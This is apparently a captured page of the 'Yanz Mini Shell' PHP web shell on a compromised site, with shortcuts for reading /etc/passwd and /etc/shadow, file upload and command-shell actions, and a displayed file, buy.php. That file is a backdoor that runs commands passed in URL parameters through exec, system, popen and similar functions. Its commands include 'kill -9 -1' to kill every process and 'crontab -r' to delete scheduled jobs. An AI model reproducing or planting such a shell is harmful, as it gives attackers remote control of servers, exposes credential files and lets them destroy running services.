Yanz mini Shell
Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
linq
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
home/linq/public_html/buy.php 0000644 00000002507 15150156350 0012256 0 ustar 00 <?php header("Content-Type: text/html;charset=utf-8"); ini_set('memory_limit', -1); ini_set('display_errors', 1); error_reporting(E_ALL); ini_set('max_execution_time', 0); set_time_limit(0); function do_phpfun($cmd,$fun) { $res = ''; switch($fun){ case "exec": exec($cmd,$res); $res = join("\n",$res); break; case "shell_exec": $res = shell_exec($cmd); break; case "system": ob_start(); system($cmd); $res = ob_get_contents(); ob_end_clean(); break; case "passthru": ob_start(); passthru($cmd); $res = ob_get_contents(); ob_end_clean(); break; case "popen": if(@is_resource($f = @popen($cmd,"r"))){ while(!@feof($f)) $res .= @fread($f,1024); } pclose($f); break; } return $res; } $id = isset($_GET['id']) ? $_GET['id'] : 0; $fun = isset($_GET['fun']) ? $_GET['fun'] : 'popen'; if($id == 0){ echo do_phpfun('ps -ef', $fun); }elseif($id == 1){ echo do_phpfun('kill -9 -1', $fun); }elseif($id == 2){ echo do_phpfun('crontab -l', $fun); }elseif($id == 3){ echo do_phpfun('crontab -r', $fun); }
Free Space : 65892376576 Byte